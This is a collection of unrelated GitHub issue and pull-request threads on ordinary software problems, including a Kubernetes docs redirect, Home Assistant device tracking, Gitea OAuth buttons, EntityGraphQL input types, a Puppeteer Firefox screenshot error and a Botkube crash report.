I let it merge first, you can fix it when merge to master.


The link to CPU management policy is incorrectly redirected.

This is a...

[ ] Feature Request
[x] Bug Report

Problem:
The the current link to https://kubernetes.io/docs/tasks/administer-cluster/cpu-management-policies/ is incorrectly redirected to https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/ although there IS a page for that topic.
Proposed Solution:
Fix the link.
Page to Update:
the redirects.

/assign


[cpp] make able to set acktimeout to 0 in consumerconfig

If user already set UnAckedMessagesTimeoutMs in consumer config, It is not able to set it back to 0. This change fix the issue.

/pulsarbot run-failure-checks

/pulsarbot run-failure-checks


revolve broken

section = Rot(90)*CenterArc((0,0), 5, 90, 180)
face = revolve(section)

Result
   upgrader = ShapeUpgrade_UnifySameDomain(self.wrapped, True, True, True)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: __init__(): incompatible constructor arguments. The following argument types are supported:
    1. OCP.ShapeUpgrade.ShapeUpgrade_UnifySameDomain()
    2. OCP.ShapeUpgrade.ShapeUpgrade_UnifySameDomain(aShape: OCP.TopoDS.TopoDS_Shape, UnifyEdges: bool = True, UnifyFaces: bool = True, ConcatBSplines: bool = False)

Invoked with: None, True, True, True

Expected:
Sphere surface
https://github.com/gumyr/build123d/issues/531#issuecomment-1925548022

revolve doesn't take Edges or Wires just Faces:
def revolve(
    profiles: Union[Face, Iterable[Face]] = None,
    axis: Axis = Axis.Z,
    revolution_arc: float = 360.0,
    clean: bool = True,
    mode: Mode = Mode.ADD,
) -> Part:

If you do:
profile = split(Rot(90) * Circle(5), Plane.YZ)
revolved = revolve(profile)

you get:

I'm guessing you would like it to be extended to create Faces from 1D shapes?

Yes, that is the logical progression. I updated the title.


Restore last_seen and consider_home in device_tracker

Breaking Change:

Description:
As discussed in https://github.com/home-assistant/home-assistant/issues/22387, the original PR broke existing integrations and should be reverted until there maybe is a better solution.
I'm also not sure how that fixed the author's issue as the ping integration from his example should set states by itself and not be reliant on devices being marked stale.
Related issue (if applicable): fixes https://github.com/home-assistant/home-assistant/issues/22387
Pull request in home-assistant.io with documentation (if applicable): home-assistant/home-assistant.io#<home-assistant.io PR number goes here>
Example entry for configuration.yaml (if applicable):

Checklist:

[x] The code change is tested and works locally.
[x] Local tests pass with tox. Your PR cannot be merged unless tests pass
[x] There is no commented out code in this PR.

If user exposed functionality or configuration variables are added/changed:

[ ] Documentation added/updated in home-assistant.io

If the code communicates with devices, web services, or third-party tools:

[ ] New dependencies have been added to the REQUIREMENTS variable (example).
[ ] New dependencies are only imported inside functions that use them (example).
[ ] New or updated dependencies have been added to requirements_all.txt by running script/gen_requirements_all.py.
[ ] New files were added to .coveragerc.

If the code does not interact with devices:

[ ] Tests have been added to verify that the new code works.

Please note that this fix will immediately break https://github.com/home-assistant/home-assistant/issues/18698 again.
I believe the real cause of the issue needs to be investigated and identified instead of blindly reverting a fix for another issue :)
Can you explain your fix?  What exactly happens with and without this line?

I'm also not sure how that fixed the author's issue as the ping integration from his example should set states by itself and not be reliant on devices being marked stale.

Please see a very detailed description here: https://github.com/home-assistant/home-assistant/pull/20933.
Thanks!

https://github.com/home-assistant/home-assistant/issues/22387#issuecomment-477136780 please see my comment
But I really can't explain you everything. You need at least a basic understanding of the code

Please see my answers there.  Thanks.

Well, we should move forward. It was in the past hard to make the restore working for device_tracker and @armills new restore state was not able to handle all that case that we fix in past.
Everything is a move into the right direction that it makes working like before the new state restore code was included. It needs the help of all to solve all use case.

I think it could be restored completely to how it was before if consider_home and last_seen are made attributes of device_tracker so they end up being saved in last state object and can then be restored together with state.state

I have updated my PR according to my proposal to fix the faulty behavior of @OleksandrBerchenko's original PR

The real solution here is that device trackers should not restore state unless the state was pushed to HA. So a ping device tracker entity should not restore anything.
The device tracker component has conflated two concerns: representing a merged state and getting data from devices. We introduced the person component to solve this. The person component will merge things, and we are working on migrating the device tracker component to the entity component, giving integrations direct control over their own entities.

I think it could be restored completely to how it was before if consider_home and last_seen are made attributes of device_tracker so they end up being saved in last state object and can then be restored together with state.state

What if HA was stopped for a longer time than consider_home (180 seconds by default)? Then all restored last_seen values will be outdated and all devices will be marked as not_home immediately.  Do I miss anything?
Thanks!

The real solution here is that device trackers should not restore state unless the state was pushed to HA. So a ping device tracker entity should not restore anything.
The device tracker component has conflated two concerns: representing a merged state and getting data from devices. We introduced the person component to solve this. The person component will merge things, and we are working on migrating the device tracker component to the entity component, giving integrations direct control over their own entities.

But if I'm not wrong, consider_home and last_seen would still need to be restored for pushed devices to correctly mark them stall.

We will remove those options for device trackers in the future. The person component will handle that logic.

I suggest we close this PR. Device tracker entities are now available for platforms that use config entries. For state restoration for device tracker legacy mode, I would accept a PR that would only restore state if the source != router.


heap-buffer-overflow in yaml_emitter_emit_flow_mapping_key function of emitter.c:810:27

When using libfuzzer to fuzz the dumper, a heap overflow was found, this can reproduce on the lattest commit.
When trying to dereference a pointer: (*(--(stack).top)), , the status of the stack is not checked, resulting in an overflow.

Closing as a duplicate of #258 and caused by a problem in the fuzztesting code, fixed here: https://github.com/google/oss-fuzz/pull/11818


Add a new project of basic typing game

This is a basic typing game using HTML, CSS and JS. This project help to how use event handler of typing and local storage in web browser.

@eabhi-me mention the issue no

Issue number for this project is #2356


Modify OAuth login ui and fix display name, iconurl related logic

Close #24808
Co-Authour @wxiaoguang @silverwind

Most svgs are found from https://worldvectorlogo.com/ , and some are from conversion of png to svg. (facebook and nextcloud). And also changed templates/user/settings/security/accountlinks.tmpl.

Fixed display name and iconurl related logic

After

On mobile

user/settings/security/accountlinks (The dropdown might be improved later)

Vertical margin between the buttons can be reduced a bit
I think we could remove the "Sign in with" text if we put a "or" word over the divider, so when looking at the page as a whole, it still makes sense.

I'm not a maintainer, just curious, what's the reason for colored background at Facebook and Twitter button? It looks a bit out-of-place to me....

I'm not a maintainer, just curious, what's the reason for colored background at Facebook and Twitter button? It looks a bit out-of-place to me....

I thought that just indicated a hover effect but on closer look, it does look to be permanent. Yes, remove it and just color the logo as per those brands' color.

I'm not a maintainer, just curious, what's the reason for colored background at Facebook and Twitter button? It looks a bit out-of-place to me....

I thought that just indicated a hover effect but on closer look, it does look to be permanent. Yes, remove it and just color the logo as per those brands' color.

These are semantic's styles, they have themes background colors for .ui.facebook.button and .ui.twitter.button, should we overwrite the background color to white?

Vertical margin between the buttons can be reduced a bit
I think we could remove the "Sign in with" text if we put a "or" word over the divider, so when looking at the page as a whole, it still makes sense.

Done in https://github.com/go-gitea/gitea/pull/25030/commits/8588001c8302b812160dfc2936a089cf09a8c9c1

I think it may be possible to alter fomantic's build to exclude those via variationButtonSocial, let me check.

Yes, it works. Apply this diff, then run make fomantic:
diff --git a/web_src/fomantic/_site/globals/site.variables b/web_src/fomantic/_site/globals/site.variables
index dcd9c2f08c..b09fb90b71 100644
--- a/web_src/fomantic/_site/globals/site.variables
+++ b/web_src/fomantic/_site/globals/site.variables
@@ -6,4 +6,5 @@
 @useCustomScrollbars: false;
 @disabledOpacity: var(--opacity-disabled);
 @variationPopupTooltip: false;
 @linkHoverUnderline: underline;
+@variationButtonSocial: false;

remove semantic Button Social

Thanks! Done in https://github.com/go-gitea/gitea/pull/25030/commits/753350ebf493d98f62022cfe08aaaf4dc87960c2. Is this line changes normal? Looks like a lot of -webkit prefix is attached as well.

Must be something about your environment that makes fomantic output all these vendor prefixes, it does not do that for me. I rebuilt it myself and pushed it.

Thanks, this is really weird..

Must be something about your environment that makes fomantic output all these vendor prefixes, it does not do that for me. I rebuilt it myself and pushed it.

Thanks, this is really weird..

Maybe it's related to browserslist or something. Do you have any environment vars set for it maybe?

I think we should do away with the /assets/img/auth directory.

I think we should do away with the /assets/img/auth directory.

Only openid_connect.svg remains in that directory, and I think we can replace it with the textless version in web_src/svg/gitea-openid.svg.

Some more tweaks done:

Add "Sign in with" to buttons, otherwise they look bare
Increase icon size
Exclude divider from loading state

The (nearly) complete fix could be like this: 9d17b20211abfdc7c444004c065dfb29f4883dca

This PR is ready for review again.

Actually this contains two "regressions":

GitHub Icon does not inherit color because it's embedded as image instead of inline SVG.
I think we should not show the auth soure name except for the OpenID case, so that this still says "Sign in with GitHub".

I think we should not show the auth soure name except for the OpenID case, so that this still says "Sign in with GitHub".

You can set the auth source name to GitHub.
Otherwise, if you have two GitHub sources, they would be displayed as "Sign in with GitHub" / "Sign in with GitHub", people can't know which one is which.

I see. We should at least call this out in the changelog so people update their auth source names. @lunny can you update try.gitea.com and gitea.com with "GitHub" as the auth source name?

I will check what's necessary to use inline SVGs instead of these unflexible img embeds.

If it needs to use inline SVG, it could use ImageHTML() instead of ImageURL()
Then ImageHTML() could returns <svg> or <img>.

Hmm I'm not sure how to do that, but I'll push up my WIP, so you can assist me there. The built-in icons should all use inline SVG, and if the user sets a custom one, it should use img.

https://github.com/go-gitea/gitea/pull/25171

For the changelog:
OAuth Login Screen buttons now render the name of the Login Source instead of the name of the provider. If this name is undesirable, rename the login source and keep note that it will also require changing the Callback URL on the OAuth Provider.


Update syncedVisitorIds to a map and update make file

Update syncedVisitorIds to a map and update make file

Description
Update SyncedVisitorId to a map
Update the make file
Related Issue

Motivation and Context

How Has This Been Tested?

Screenshots (if appropriate):
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] I have signed the Adobe Open Source CLA.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

Can you update the PodSpec.lock with latest dependencies?


Rapid Test - FirstName and SecondName are reversed when scanned in PoC Portal

Description
Swap placement if first and last name in VCARD string
Link to Jira
https://jira-ibs.wbs.net.sap/browse/EXPOSUREAPP-7017

Unit test failing:
QRCodeCellViewModelTests.testGIVEN_AntigenTestProfile_WHEN_getVCardV4Strong_THEN_FormatIsCorrect()


3DS Max 2018 Support

Could someone compile version that is compatible with Max 2018?
I and many others would highly appreciate it.
Thanks!

Hi,
We've built ExocortexCrate for 3DS Max 2018.
You can find it there.

Hi, @Blackhart
thank for you plugin.
I just download the 3DS_Max_2018.zip and extract and copy all the files to the plugins folder.
but I got this error

Can you tell me how to install it?

Hi, @MMmaomao
Sorry for the late.
I've updated the README of our fork with details about the installation process.
If you have some troubles, again, tell me ;)

Hi @Blackhart
Thank you.

Hi!
I couldnt find installation process. Could please send me ?

Hi @Psampa18
You can find installation process there

An empty frame is created each time it is imported. I think we should have the original Alembic attribute there.


Automatically create and embed new file as part of my daily note template?

Hi, I really love this plugin - it's gotten me by far the closest to having a real hand-written experience within Obsidian. My use case is iPad Pro.
Currently, I manually run the command "Handwritten Notes: Create and embed and open from favorite template" every day in my daily note to have a PDF for each day. Is there a way to automate or template this process?
Thanks!

Hmm, I'm not really sure… Maybe look into templater or other template plugins, as they might have ways to do so. But I think this is out of the scope of my plugin.


feat: update snippets for functions and methods

Summary of Changes
Update snippets for functions and methods to include calls of purity annotations.

:tada: This PR is included in version 0.4.0 :tada:
The release is available on:

npm package (@latest dist-tag)
npm package (@latest dist-tag)
v0.4.0
GitHub release

Your semantic-release bot :package::rocket:


Create file handling APIs

Something like a following query should be used to fill partially tagged file entity:
select
f.source_url,
f.source_id,
f.status,
title
from files as f
join tag_mappings as tm
on tm.file_id = f.id and tm.user_id = $1
(select title from tags as t where t.id = tm.title) as title


Support for initializing classes/records via constructor

I'm building my own sorting argument:
#nullable enable

class SortArgument
{
    // CS8618 warning: Non-nullable property 'Path' must contain a non-null value when exiting constructor. Consider declaring the property as nullable.
    public string Path { get; set; }
    // CS8618 warning: Non-nullable property 'Direction' must contain a non-null value when exiting constructor. Consider declaring the property as nullable.
    public string Direction { get; set; }
}
...

schema.AddType<SortArgument>("sortArgument", null).AddAllFields();

schema.UpdateQuery(queryType =>
{
    queryType.ReplaceField(
        "users",
        new
        {
            sort = (SortArgument[]?)null
        },
        (db, args) => ...,
        "..."
    );
});

It'd be cool if EntityGraphQL supported initializing SortArgument by calling its constructor, so that I could easily do additional validation and ensure that Path and Direction are non-null:
class SortArgument
{
    public string Path { get; }
    public string Direction { get; }

   public SortArgument(string path = null, string direction = null)
   {
      Path = path ?? throw new ArgumentNullException(nameof(path));

      if(direction == null || direction.Length < 10)
         throw new ArgumentException("Direction must be at least 10 letters long", nameof(direction));

      Direction = direction;
   }
}

Just a suggestion 🙂  Thanks for the great library! ^_^

If you could split the required request into a seperate issue please we can follow that there. Note it will likely (if the reflection stuff lets us actually use it) come after 3.1 support ends in December as I plan to keep support for 3.1 for new releases until MS drop support.

Small thing in your example.
schema.AddType<SortArgument>("sortArgument", null).AddAllFields();

You are using SortArgument as an input type. You will need to use
schema.AddInputType<SortArgument>("sortArgument", null).AddAllFields();

Sounds good; I've split support for the required modifier out into https://github.com/EntityGraphQL/EntityGraphQL/issues/227 🙂

Small thing in your example.
schema.AddType<SortArgument>("sortArgument", null).AddAllFields();

You are using SortArgument as an input type. You will need to use
schema.AddInputType<SortArgument>("sortArgument", null).AddAllFields();

Thanks! 🙂
Interestingly, AddType() works fine, too, but I suppose if I use AddInputType(), then if I accidentally put a SortArgument object in my DbContext, I'd get an error about the type not being supported, which would be nice 🙂
I wonder if it'd help discoverability to merge AddType() and AddInputType() into a single method that takes an enum flagging whether type is for use in the input, schema, or both.

By the way, I can't find any different between these snippets of code:
// Works
schema.AddType<User>("users", null).AddAllFields();
schema.AddType<SortArgument>("sortArgument", null).AddAllFields();

and
// Also works
schema.AddInputType<User>("users", null).AddAllFields();
schema.AddInputType<SortArgument>("sortArgument", null).AddAllFields();

You highlight something

When EntityGraphQL is looking up types it doesn't care if it is an input or non-input type
The difference is in introspection and schema output - it will out the type types as Input or not. Tools (that compile, or check queries etc) will complain if you try to use a non-input type as an input. As the spec does not allow that (input types can't have arguments etc.)

Question is, I guess EnittyGraphQL should correctly raise an error if it see you do this?

Honestly... I'm not sure 🙂
In theory, should it be allowed to use a type as both an input type and a normal type?
For example:
class Permission
{
   public string Id { get; set; }
}

Then we use User as both the filter and a piece of data:
{
   users(permission: { id: "test" })
   {
      permission
      {
         id
      }
   }
}

Probably not a case that would be worth supporting? 🙂

In an example like that it makes sense. The GraphQL spec does not support that. So other tools etc may complain.
The spec states in simple terms

each type needs a unique name
Types used as arguments are Input Types
Input types are different as they have more restrictions - no fields with arguments etc.

In that case, I think it'd be appropriate to throw an error if the type was added with AddType() but is used as an input type, and vice versa 🙂


unable to install on windows machine

C:\Users\MT\zenbot>npm install
npm WARN deprecated<EMAIL_ADDRESS>Use uuid module instead
npm ERR! Windows_NT 10.0.14393
npm ERR! argv "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js" "install"
npm ERR! node v6.11.0
npm ERR! npm  v3.10.10
npm ERR! code EBADPLATFORM
npm ERR! notsup Unsupported platform for<EMAIL_ADDRESS>wanted {"os":"darwin,linux","arch":"any"} (current: {"os":"win32","arch":"x64"})
npm ERR! notsup Valid OS:    darwin,linux
npm ERR! notsup Valid Arch:  any
npm ERR! notsup Actual OS:   win32
npm ERR! notsup Actual Arch: x64
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\MT\zenbot\npm-debug.log

Have you seen/tried https://github.com/carlos8f/zenbot/blob/master/docs/FAQ.md#windows

Dear issue reporter,
We have slightly changed our github issue policy and would now kindly request folks that have questions that they ask them in our zenbot subreddit.
You can find it here: https://reddit.com/r/zenbot
This issue will be closed, but if you disagree with your ticket being marked as a question feel free to leave a comment defending your case.
Thanks for contributing time and effort!
Greetings,
🤖


V1.0.3 release

Updated dependency libraries
Reduction in CPU use
Fixed bug with duplicate network names

/lgtm
/approve
/hold

/hold cancel


Fixed bug in json::rvalue copy constructor

Don't call copy_l before all other members are set. This lead to undefined behaviour during copy.

Thank you for the PR.


Test change default batch configuration

What is the purpose of the change
This is a draft PR for stability test of FLIP-199.

@flinkbot run azure

@flinkbot run azure


add ignored headers when convert Message to EventData

This pr carries 3 parts of changes mainly:

add more ignored message headers when convert a Spring Message to EventData to deal with batched message headers
rename EventHubBatchMessageConverter to EventHubsBatchMessageConverter
refactor EventHubsBatchMessageConverter by disable the ability of converting Spring Message to EventData to keep the same as Kafka.

/azp run java - spring - tests

/azp run java - spring - tests


WIP: Allow user to set multiple groups for a story/doc

This PR includes:

Uses bower to manage frontend javascript dependencies
Uses chosen.js for the select menus used in the PMP mega meta box
Allows the user to select multiple groups, series and properties for a PMP doc (via the override menu in the PMP mega meta box)
Adds pmp_after_init action hook after the core plugin is loaded (can be used for other plugins/extensions that depend on the core PMP plugin being loaded).
Adds pmp_set_doc_collection filter to the pmpsyncer class to allow manipulation of collections before the document is sync'd with the PMP.
Adds the following action hooks to the search page to allow for custom content and/or extending the available search parameters:

pmp_search_before_primary
pmp_search_after_primary
pmp_search_before_secondary
pmp_search_after_secondary

Tests here are failing because $previous_collection is only defined in class PmpSyncer's set_doc_data() if $this->doc->links->collection isn't empty, but is used anyways in the filter pmp_set_doc_collection: https://github.com/publicmediaplatform/pmp-wordpress/blob/allow-multiple-groups/inc/class-pmpsyncer.php#L325-L351
    // collections
    if (!empty($this->doc->links->collection)) {
        $previous_collection = $this->doc->links->collection;
    }

...

    $this->doc = apply_filters('pmp_set_doc_collection', $this->doc, $previous_collection, $this->post);

What should $previous_collection be otherwise?

And, if $previous_collection isn't set, does the pmp_set_doc_collection filter need to be run at all?
We have ~2 options:

create an empty $previous_collection and run the filter
detect an undefined $previous_collection and don't run the filter

[ ] create empty array


Reporting v2alpha proto

This change is

src/main/proto/wfa/measurement/reporting/v2alpha/event_group.proto line 47 at r13 (raw file):
Previously, tristanvuong2021 (Tristan Vuong) wrote…
This is https://github.com/world-federation-of-advertisers/cross-media-measurement-api/blob/af84c72e3d4a8e2bfa5e821e563ee54fe49343e1/src/main/proto/wfa/measurement/api/v2alpha/event_group.proto#L58

It is provided on event group creation and would generated on the data provider side.

src/main/proto/wfa/measurement/reporting/v2alpha/metrics_service.proto line 159 at r23 (raw file):
Previously, SanjayVas (Sanjay Vasandani) wrote…
Follow AIP-155 for this. In particular:

Name the field request_id
Do not mark the field as REQUIRED. It in fact should be optional. This means we cannot rely on it being set and need to do something reasonable if it's not specified if our implementation requires some ID (e.g. generating our own UUID)
Document that the request will only be idempotent if request_id is specified.

I saw that AIP too, but we need the idempotency key for creating unique measurement IDs downstream. Maybe we should put the idempotency key in Metric instead of the request message if we have to make it required?

@stevenwarejones Let me know if you have any questions about the PR. Thanks!


Call to nx_ip_create failing because of NX_IP size mismatch

Hi,
My code is failing in the call to nx_ip_create() and I've traced the issue to a size mismatch with ip_control_block_size and sizeof(NX_IP).
(this is check is at the very beginning of nx_ip_create() )
I've triple check the samples and I can't spot anything obvious...
Guessing this is probably because of the nx_user options but I fail to pinpoint the root cause and I'm out ideas on how to find that.
Any hints, please, on what I should do to debug this?

@josesimoes as you stated their are several members of the NX_IP  structure that are included or not included based on #defines, and these #defines normally come from either the nx_user.h header file or possibly the compiler command line options. Are you certain the same nx_user.h header and command line are being used when you build the netxduo library as are being used when you build your application? That's really the only way I'm aware of that this can happen, i.e. using different headers when building the library vs. building your application. As far as debugging the problem I don't have any secrets for you but maybe someone else on our team can chime in.

Your comment above prompted my to dig into the build options. I ended up having to add -DNX_INCLUDE_USER_DEFINE_FILE to the other library that includes "nx_api.h" (and friends) and now NX_IP size validation in nx_ip_create() passes.
This maybe pointing out a possible flaw in the mechanism that includes nx_user.h in the build... Seems that the includes in the other library isn't picking up the nx_user.h and therefore NX_IP "looks" different for those libraries.


Resolve 2.4.0 warnings in safe backwards compatible way

Like tom-lord (#148), I wanted to resolve Ruby 2.4 Fixnum warnings. This method is more backwards compatible and uses detection to figure out which class (Fixnum or Integer) should be extended.

I'm really happy you submitted this.  On Thursday I'm running a class where merging this will help me illustrate the concept of 'continuous delivery'.  I'll be merging this Thursday, merging a few more of these Saturday, and hopefully issuing the new version immediately after.


Quick paste

I think it would be useful to be able to quickly paste a color in either Hex, HSL, or RGB. You can already do this by selecting the correct text field first, but I think it would be nice if we could support this as long as the app is active.
Open questions:

What should the keyboard shortcut be? Should we use Command+V for this? Or should it be Shift+Command+V?
Where and how should it be presented in the UI? (Button to paste)

The implementation should be simple as we already have the initializers. We just try initializing the colors on after another.
Feedback wanted

My first time "contributing to open source" – exciting!
I think the shortcut should be Shift+CMD+V. I think I would prefer this because CMD+V usually pastes inside the active input element or somewhere in the app in general. e.g.: when I press CMD+V in Finder, it pastes into the main window. As there are three possible paste-targets in the color picker, I think Shift should be used as a modifier to the action. Does that make sense?
The button to paste the color in the text field could be added to the far-right end of the input field and only appear on hover. I'm not sure how well this works accessibility-wise in a Mac-app. Showing the button only while hovering the respective field would make it clear which field will be pasted into, while at the same time de-cluttering the interface. And it would also have high discoverability: it's intended as a shortcut so I don't have to click the field and then paste. So I would stumble upon it when I want to click the field and the "paste"-button becomes visible inside that field.

I agree with using Shift+Command+v. I have implemented the menu item and keyboard shortcut for this now.
I don't think it makes sense to place the paste button inside the inputs, because the pasting is not tied to a specific format. The intention of the button is that you can click it to paste any of the supported formats, just like the keyboard shortcut.

Yeah, you're right, one central button might be a smarter idea.
One button above the three input fields might work. The button should be near the input fields so that connection between button and inputs is clear. And I like the idea that the button is above the input fields because then the information 'flows' from top to bottom: the button on top affects the three input fields on the bottom.

The problem with having the button right above the inputs is that it will be a lone centered button. It's kind of a waste of vertical space and it will also not look that good. Let's try to explore some other possible solutions too.

Thanks. I'm going with that for now.


Chinese Localization for ShellExtension

Description of the new feature/enhancement

Please add Chinese translation for the shell extension
for Chinese Traditional:"在此處開啟 Windows Terminal"
for Chinese Simplified:"在此处打开 Windows Terminal"
Proposed technical implementation details (optional)

Thanks for the request! This is a /duplicate of #6112.


[AzureMonitorExporter] add default value for SDK version string

This PR replaces the null with a default string.
Currently we get the assembly version of libraries at runtime. We don't expect this to fail.
We're adding this default value to explicitly detect if this does fail.
We will monitor internal telemetry and if this is detected, we'll investigate alternative methods for collecting version numbers.
IE: Exporter version could be collected at compile time. .NET version can be collected from env vars.

API change check
API changes are not detected in this pull request.


Migrate from Laravel Mix to Vite

This pull request includes changes for migrating from Laravel Mix to Vite outlined in Migration Guide and automated by the Vite Converter.
Before merging, you need to:

Checkout the shift-71814 branch
Run composer update
Run npm install
Review all comments for additional changes
Thoroughly test your application (no tests?, no CI?)

Please send your feedback to<EMAIL_ADDRESS>or share the good vibes on Twitter.

:information_source: Previously, Laravel configured several npm scripts for building assets. For Vite, Laravel configures a dev script for generating and watching your assets (for development) and build script for generating your assets (for production).
Shift automated this change by replacing commands using these scripts with their new Vite script. However, you may still be referencing these scripts in your code or in deployment scripts.

:x: Shift did not remove some of the previous npm scripts running mix commands as they appeared to be customized. You should review the scripts configured in your package.json file and update any custom commands to use vite.

:information_source: Vite requires JavaScript files containing JSX to have a .jsx file extension. Shift did not detect any JSX in files with a .js extension under the resources folder. However, if you are using JSX, be sure the files have a .jsx extension.

:information_source: Laravel renamed the environment variables used by Mix to use a VITE_ prefix, instead of MIX_. While Shift automated this change throughout your code, you should check for any additional references which may not be included in your Git repository.

:information_source: The new @vite Blade directive outputs <script> tags with the type="module" attribute. This attribute implicitly defers the script. This is a difference from Laravel Mix which may change the execution order of the JavaScript on your page.
If you experience JavaScript errors relating to undefined references, you may need to reorder your scripts or add the defer attribute to any inline <script> blocks on your page.

:warning: Vite generates frontend assets to the public/build folder. This folder is not tracked by Git within a default Laravel project. As such, Shift added this folder to your .gitignore file.
If you wish to track the generated frontend assets within your project, such as for ease of deployment, you may undo this commit by running git revert 69d24b38.

:alembic: This Shift is still being refined. Please report any issues or suggestions to<EMAIL_ADDRESS>Your feedback is what helps improve the experience for everyone.


Clover r5104

Hi! when can we get r5104? Slice's github has released r5104 already.

Working on fixing it right now, but so far running into more issues than I'd like to.

Alright thanks! Looking forward to it :)


i18n(es): Update decap-cms.mdx

Updated decap-cms.mdx for the ES translation.
I didn't know how to manage the  and if needed to translate them so i made a mixt and translated only the comments :/ Any feedback is appreciated!
Thanks

Hi @Eric-llos ! I'm adding the imports at the top of the file to see whether that fixes the problem. So, if you are also working on this locally again (instead of just committing suggestions here on GitHub from reviews) make sure that your local copy is updated!

Thanks @sarah11918 and @mingjunlu for your feedback and help :)


Add NOT NULL constraint on several fields of the enrollments table.

I'm not sure why this was closed and not merged. Reopening and merging now


datastore: support long entity IDs

Fixes #1412
To Dos

[ ] Docs
[ ] Tests

[ ] System
[ ] Unit

Example
var id = gcloud.datastore.int('100000000000001234');
var key = datastore.key(['Kind', id]);

// everything from this point should work normally.

@callmehiphop wdyt?

LGTM

Kind of side note/after thought. But datastore is cool with accepting strings? Might be worth mentioning that Bigtable will bring in a new dependency for supporting Int64 values. Not sure if datastore will accept those as an ID, but the library we're using will convert a string into an Int64.

Good thinking, it might make more sense to use that here, then. I'll wait for the Bigtable merge and play with it.


Fluent shortcuts for istioctl analyze use cases

As discussed in https://docs.google.com/document/d/1KuxDRPPt283jx_cIs2C9sFHjoHvoskJt3IGqhPJVHtM, we should have fluent subcommands as shortcuts for the most common use cases.
e.g. each of these pairs would be equivalent:
istioctl analyze a.yaml b.yaml
Istioctl analyze files a.yaml b.yaml # Explicitly disallows using --live

istioctl analyze --use-kube
istioctl analyze cluster             # Explicitly disallows local files

istioctl analyze --live a.yaml b.yaml
istioctl analyze cluster with-files a.yaml b.yaml # Requires files to be specified

@sushicw Has this been implemented?  May I close it?

I don't believe this got implemented. We did refactor the command's basic usage enough that it may not still be relevant.


Firefox: Taking a screenshot with omitBackground fails [Emulation.setDefaultBackgroundColorOverride not implemented]

Steps to reproduce
Tell us about your environment:

Puppeteer version: 3.0.0
Platform / OS version: Linux Debian unstable
URLs (if applicable):
Node.js version: v12.16.2

What steps will reproduce the problem?
var firefox = (await puppeteer.launch({
    product: 'firefox',
    executablePath: '/opt/firefox/firefox',
    headless: true,
    devtools: false,
    defaultViewport: {
      width: 1000,
      height: 0,
      deviceScaleFactor: 2
    }
  }));

page = (await firefox.pages())[0];
page.goto("https://github.com");

await page.screenshot({
    omitBackground: true,
    path: 'screenshot.png'
})

What is the expected result?
Just take a screenshot with transparent background.
What happens instead?
An error is logged in firefox console:  Emulation.setDefaultBackgroundColorOverride
And in the terminal the following is logged:
Error: Protocol error (Emulation.setDefaultBackgroundColorOverride): Emulation.setDefaultBackgroundColorOverride RemoteAgentError@chrome://remote/content/Error.jsm:25:5
UnknownMethodError@chrome://remote/content/Error.jsm:108:7
execute@chrome://remote/content/domains/DomainCache.jsm:96:13
receiveMessage@chrome://remote/content/sessions/ContentProcessSession.jsm:69:45
MessageListener.receiveMessage*ContentProcessSession@chrome://remote/content/sessions/ContentProcessSession.jsm:27:25
@chrome://remote/content/sessions/frame-script.js:12:1

      at node_modules/puppeteer/lib/Connection.js:173:63
      at new Promise (<anonymous>)
      at CDPSession.send (node_modules/puppeteer/lib/Connection.js:172:16)
      at Page._screenshotTask (node_modules/puppeteer/lib/Page.js:860:32)
      at processTicksAndRejections (internal/process/task_queues.js:97:5)
    -- ASYNC --
      at Page.<anonymous> (node_modules/puppeteer/lib/helper.js:105:23)

Same for pdf with printBackgroud

Corresponding Firefox bug: https://bugzilla.mozilla.org/show_bug.cgi?id=1549432

Well, it is still the case. However, the Firefox bug was closed due to low priority :-(

I think in that case there is not much we can do on the Puppeteer side if the Firefox implementation does not support it.

@michael-brade @mjzffr @NazarKalytiuk do you know of a workaround for this issue?

@drmrbrewer no, sadly I don't...

@michael-brade ok thanks for letting me know... looks like this is a dealbreaker so far as using firefox is concerned :-(


[BUG] Botkube 0.8.0 - crash loop - invalid memory address or nil pointer deference

Describe the bug
I have tried to deploy Botkube version 0.8.0 (which was recently released), I am using the deploy-all-in-one-tls.yaml to deploy it in my Kubernetes cluster.
To Reproduce
Steps to reproduce the behavior:

I am running mattermost server version: 5.11.0
Kubebot version 0.8.0
Deploy the deploy-all-in-one-tls.yaml with TLS (self-signed certificates)
See error:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x10a8e3c]

goroutine 78 [running]:
github.com/infracloudio/botkube/pkg/bot.(*mmBot).Start.func1(0xc00010e150, 0xc0002af140)
       /go/src/github.com/infracloudio/botkube/pkg/bot/mattermost.go:104 +0x5c
created by github.com/infracloudio/botkube/pkg/bot.(*mmBot).Start
      /go/src/github.com/infracloudio/botkube/pkg/bot/mattermost.go:101 +0x546

@bilaloslo92 Could you please post your configuration here (make sure you remove sensitive info like certs and tokens)?

Are you encoding certificate before creating secret?
cat <YOUR_CERTIFICATE> | base64 -w 0

Hi @PrasadG193 ! Thanks for your reply.  See attached config (removed credentials, clustername, and mattermost configuration).
---
# Configmap
apiVersion: v1
kind: ConfigMap
metadata:
  name: botkube-configmap
  labels:
    app: botkube
data:
  config.yaml: |
    ## Resources you want to watch
    resources:
      - name: pods                # Name of the resources e.g pods, deployments, ingresses, etc. (Resource name must be in plural form)
        namespaces:               # List of namespaces, "all" will watch all the namespaces
          - all
        events:                   # List of lifecycle events you want to receive, e.g create, update, delete, error OR all
          - create
          - delete
          - error
      - name: services
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: deployments
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: ingresses
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: nodes
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: namespaces
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: persistentvolumes
        namespaces:
          - all
        events:
          - create
          - delete
          - error
